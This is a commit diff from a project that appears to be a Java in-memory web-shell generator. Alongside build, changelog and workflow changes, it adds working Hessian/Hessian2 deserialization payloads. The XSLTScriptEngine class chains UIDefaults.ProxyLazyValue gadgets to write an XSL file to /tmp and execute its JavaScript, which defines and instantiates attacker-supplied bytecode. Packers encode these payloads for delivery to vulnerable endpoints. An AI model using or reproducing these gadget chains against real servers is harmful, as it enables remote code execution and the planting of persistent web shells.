fix(ui): shell type not reset when server changed

.github/workflows/release.yaml

@@ -126,12 +126,24 @@ jobs:
     steps:
       - uses: actions/checkout@v4
 
+      - name: Download Boot Jar
+        uses: actions/download-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs
+
+      - name: Calculate SHA-256
+        id: calculate_sha256
+        run: |
+          sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
+
       - name: Release
         uses: ncipollo/release-action@v1
         with:
           name: ${{ needs.info.outputs.version }}
           tag: ${{ needs.info.outputs.version }}
           body: ${{ needs.info.outputs.changelog }}
+          artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
 
   deploy-northflank:
     name: Deploy to Northflank

.github/workflows/test.yaml

@@ -2,15 +2,8 @@ name: Test
 
 on:
   push:
-    paths-ignore:
-      - 'docs/**'
-      - 'boot/**'
-      - 'web/**'
-      - '**.md'
-      - '**/*.png'
-  pull_request:
     branches:
-      - main
+      - '**'
     paths-ignore:
       - 'docs/**'
       - 'boot/**'

CHANGELOG.md

@@ -5,6 +5,36 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
+
+### Added
+
+- UI 中打包配置中添加 Loading 状态
+
+### Fixed
+
+- 修复 UI 在修改目标服务时，挂载类型有时未跟着变化导致生成失败
+
+**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
+
+## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
+
+### Added
+
+- 支持 Hessian、Hessian2 反序列化，XSLT 链 (#36) by @ReaJason
+
+### Changed
+
+- 移除无用依赖，JavaSocket，Gson
+- Gradle 升级至 8.12.1
+- 更新 TestContainers 和 Junit 的版本
+
+### Fixed
+
+- 修复 UI 在仅修改打包方式重新生成时，多选 payload 下拉框置空，且 payload 没有变为最新的。
+
+**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
+
 ## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
 
 ### Changed
@@ -15,6 +45,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 - 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
 
+**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
+
 ## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
 
 ### Added
@@ -31,6 +63,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 - 修复随机类名如果为保留字时会无法加载
 
+**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
+
 ## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
 
 ### Added

README.md

@@ -152,6 +152,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
 - [x] 原生反序列化（CB4）
 - [x] Agent
 - [x] XXL-JOB Executor
+- [x] Hessian、Hessian2 反序列化（XSLT链）
 - [ ] JNDI
 - [ ] JDBC 连接
 - [ ] 其他常见反序列化

bom/build.gradle

@@ -28,10 +28,10 @@ dependencies {
 
         api 'org.jetbrains:annotations:26.0.1'
 
-        api "org.mockito:mockito-core:5.+"
+        api "org.mockito:mockito-core:5.15.2"
         api 'org.hamcrest:hamcrest:3.0'
-        api 'org.junit:junit-bom:5.10.0'
+        api 'org.junit:junit-bom:5.11.4'
-        api 'org.testcontainers:testcontainers:1.20.4'
+        api 'org.testcontainers:testcontainers:1.20.5'
-        api 'org.testcontainers:junit-jupiter:1.20.4'
+        api 'org.testcontainers:junit-jupiter:1.20.5'
     }
 }

boot/Dockerfile

@@ -10,7 +10,10 @@ WORKDIR /app
 COPY build/libs/boot-${VERSION}.jar app.jar
 
 ENV JAVA_OPTS="" \
-    INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+    INTER_JAVA_OPTS="\
+                    --add-opens=java.base/java.util=ALL-UNNAMED \
+                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
 
 EXPOSE 8080
 

boot/build.gradle

@@ -21,13 +21,6 @@ def runtimeJvmArgs = [
 
 tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
 
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
 tasks.withType(Test).configureEach {
     jvmArgs += runtimeJvmArgs
 }
@@ -57,7 +50,6 @@ dependencies {
         exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
     }
     implementation 'org.springframework.boot:spring-boot-starter-undertow'
-    implementation 'com.google.code.gson:gson:2.11.0'
     compileOnly 'org.projectlombok:lombok'
     developmentOnly 'org.springframework.boot:spring-boot-devtools'
     annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'

deserialize/build.gradle

@@ -8,40 +8,19 @@ version = rootProject.version
 dependencies {
     implementation 'net.bytebuddy:byte-buddy'
 
-    implementation 'commons-beanutils:commons-beanutils:1.9.3'
+    implementation 'com.caucho:hessian:4.0.66'
+    implementation 'commons-beanutils:commons-beanutils:1.9.4'
 
     testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
 }
 
-
-def runtimeJvmArgs = [
-        '--add-opens=java.base/java.lang=ALL-UNNAMED',
-        '--add-opens=java.base/java.util=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-]
-
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
-tasks.withType(Test).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-// For running the application
-tasks.withType(JavaExec).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
 java {
     toolchain {
-        languageVersion = JavaLanguageVersion.of(11)
+        languageVersion = JavaLanguageVersion.of(8)
     }
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
 }
 
 test {

deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.Hessian2Output;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class Hessian2DeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Hessian2Output hessian2Output = new Hessian2Output(bos);
+        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
+        hessian2Output.writeObject(obj);
+        hessian2Output.close();
+        return bos.toByteArray();
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.HessianOutput;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianDeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        HessianOutput hessianOutput = new HessianOutput(bos);
+        hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
+        hessianOutput.writeObject(obj);
+        hessianOutput.close();
+        return bos.toByteArray();
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/JavaDeserializeGenerator.java

@@ -9,7 +9,7 @@ import java.io.ObjectOutputStream;
  * @author ReaJason
  * @since 2024/12/13
  */
-public class DeserializeGenerator {
+public class JavaDeserializeGenerator {
 
     @SneakyThrows
     public static byte[] generate(byte[] bytes, DeserializeConfig config) {

deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java

@@ -11,5 +11,18 @@ public interface Payload {
      * @param bytes 恶意类字节流
      * @return 序列化对象
      */
-    Object generate(byte[] bytes);
+    default Object generate(byte[] bytes) {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * 将恶意类字节流封装成序列化对象
+     *
+     * @param bytes     恶意类字节流
+     * @param className 恶意类名
+     * @return 序列化对象
+     */
+    default Object generate(byte[] bytes, String className) {
+        throw new UnsupportedOperationException();
+    }
 }

deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java

@@ -1,6 +1,10 @@
 package com.reajason.javaweb.deserialize;
 
-import com.reajason.javaweb.deserialize.payload.*;
+import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
 import lombok.Getter;
 
 /**
@@ -17,6 +21,10 @@ public enum PayloadType {
     CommonsBeanutils19(new CommonsBeanutils19()),
     CommonsBeanutils110(new CommonsBeanutils110()),
 
+    /**
+     * Hessian XSLT write
+     */
+    XSLTScriptEngine(new XSLTScriptEngine())
     ;
 
     private final Payload payload;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java

@@ -0,0 +1,51 @@
+package com.reajason.javaweb.deserialize.payload.hessian;
+
+import com.reajason.javaweb.deserialize.Payload;
+import com.reajason.javaweb.deserialize.utils.HessianUtils;
+import com.reajason.javaweb.deserialize.utils.Reflections;
+import lombok.SneakyThrows;
+
+import javax.swing.*;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.HashMap;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class XSLTScriptEngine implements Payload {
+    @Override
+    @SneakyThrows
+    public Object generate(byte[] bytes, String className) {
+        String base64Str = Base64.getEncoder().encodeToString(bytes);
+
+        String tmpPath = "/tmp/CACHE_XML";
+
+        String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
+                "                xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
+                "                xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
+                "    <xsl:template match=\"/\">\n" +
+                "        <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
+                "        <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
+                "        <xsl:value-of select=\"$result\"/>\n" +
+                "    </xsl:template>\n" +
+                "</xsl:stylesheet>\n";
+
+        UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
+        Reflections.setFieldValue(writeValue, "acc", null);
+        UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
+        Reflections.setFieldValue(processValue, "acc", null);
+
+        HashMap<Object, Object> map1 = new HashMap<>(1);
+        HashMap<Object, Object> map2 = new HashMap<>(1);
+        HashMap<Object, Object> map3 = new HashMap<>(1);
+        HashMap<Object, Object> map4 = new HashMap<>(1);
+        map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+        map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+
+        return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils110.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -16,8 +16,6 @@ import java.net.URLClassLoader;
 import java.util.Comparator;
 import java.util.PriorityQueue;
 
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
 /**
  * @author ReaJason
  * @since 2024/12/3

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils16.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils18.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils19.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.deserialize.utils;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianUtils {
+
+    public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
+        HashMap<?, ?> s = new HashMap<>(8);
+        Reflections.setFieldValue(s, "size", objs.size());
+        Class<?> nodeC;
+        try {
+            nodeC = Class.forName("java.util.HashMap$Node");
+        } catch (ClassNotFoundException var6) {
+            nodeC = Class.forName("java.util.HashMap$Entry");
+        }
+        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
+        nodeCons.setAccessible(true);
+        Object tbl = Array.newInstance(nodeC, objs.size());
+        for (int i = 0; i < objs.size(); i++) {
+            Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
+        }
+        Reflections.setFieldValue(s, "table", tbl);
+        return s;
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java

@@ -1,7 +1,11 @@
 package com.reajason.javaweb.deserialize.utils;
 
-import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
+import sun.reflect.ReflectionFactory;
+import sun.security.pkcs.PKCS9Attributes;
 
+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 
 /**
@@ -19,7 +23,7 @@ public class Reflections {
             java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
             Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
             java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
-            getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
+            getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
         } catch (Exception ignored) {
         }
     }
@@ -47,4 +51,18 @@ public class Reflections {
         final Field field = getField(obj.getClass(), fieldName);
         return field.get(obj);
     }
+
+    public static Object createWithoutConstructor(String classname) throws Exception {
+        return createWithoutConstructor(Class.forName(classname));
+    }
+    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
+        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
+    }
+    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
+        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+        objCons.setAccessible(true);
+        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+        sc.setAccessible(true);
+        return (T) sc.newInstance(consArgs);
+    }
 }

generator/build.gradle

@@ -22,13 +22,6 @@ def runtimeJvmArgs = [
         '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
 ]
 
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
 tasks.withType(Test).configureEach {
     jvmArgs += runtimeJvmArgs
 }
@@ -58,7 +51,7 @@ dependencies {
     implementation 'com.squareup.okhttp3:okhttp'
     implementation 'ch.qos.logback:logback-classic'
     implementation 'com.alibaba.fastjson2:fastjson2'
-    implementation 'org.java-websocket:Java-WebSocket'
+//    implementation 'org.java-websocket:Java-WebSocket'
 
     implementation 'org.springframework:spring-webmvc'
     implementation 'org.springframework:spring-webflux'

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -5,6 +5,10 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
 import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
 import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
 import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
 import com.reajason.javaweb.memshell.packer.deserialize.java.*;
 import com.reajason.javaweb.memshell.packer.el.ELPacker;
 import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
@@ -96,6 +100,15 @@ public enum Packers {
     JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
     JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
 
+    /**
+     * Hessian 反序列化打包器
+     */
+    Hessian2Deserialize(new Hessian2Packer()),
+    Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
+
+    HessianDeserialize(new HessianPacker()),
+    HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
+
     AgentJar(new AgentJarPacker()),
 
     XxlJob(new XxlJobPacker()),

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.AggregatePacker;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class Hessian2Packer implements AggregatePacker {
+
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class Hessian2XSLTScriptEnginePacker implements Packer {
+    @Override
+    public String pack(GenerateResult generateResult) {
+        byte[] injectorBytes = generateResult.getInjectorBytes();
+        String injectorClassName = generateResult.getInjectorClassName();
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
+        byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
+        return Base64.encodeBase64String(generate);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java

@@ -0,0 +1,11 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.memshell.packer.AggregatePacker;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class HessianPacker implements AggregatePacker {
+
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class HessianXSLTScriptEnginePacker implements Packer {
+    @Override
+    public String pack(GenerateResult generateResult) {
+        byte[] injectorBytes = generateResult.getInjectorBytes();
+        String injectorClassName = generateResult.getInjectorClassName();
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
+        byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
+        return Base64.encodeBase64String(generate);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils19Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

gradle/wrapper/gradle-wrapper.properties

@@ -1,7 +1,6 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-# upgrade command: ./gradlew wrapper --gradle-version latest
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
-distributionUrl=https\://services.gradle.org/distributions/gradle-8.12-all.zip
 networkTimeout=10000
 validateDistributionUrl=true
 zipStoreBase=GRADLE_USER_HOME

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -78,6 +78,7 @@ public class ShellAssertionTool {
         } else {
             content = packer.getInstance().pack(generateResult);
             assertInjectIsOk(url, shellType, shellTool, content, packer, container);
+            log.info("send inject payload successfully");
         }
 
         switch (shellTool) {
@@ -247,6 +248,8 @@ public class ShellAssertionTool {
             case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
             case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
             case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
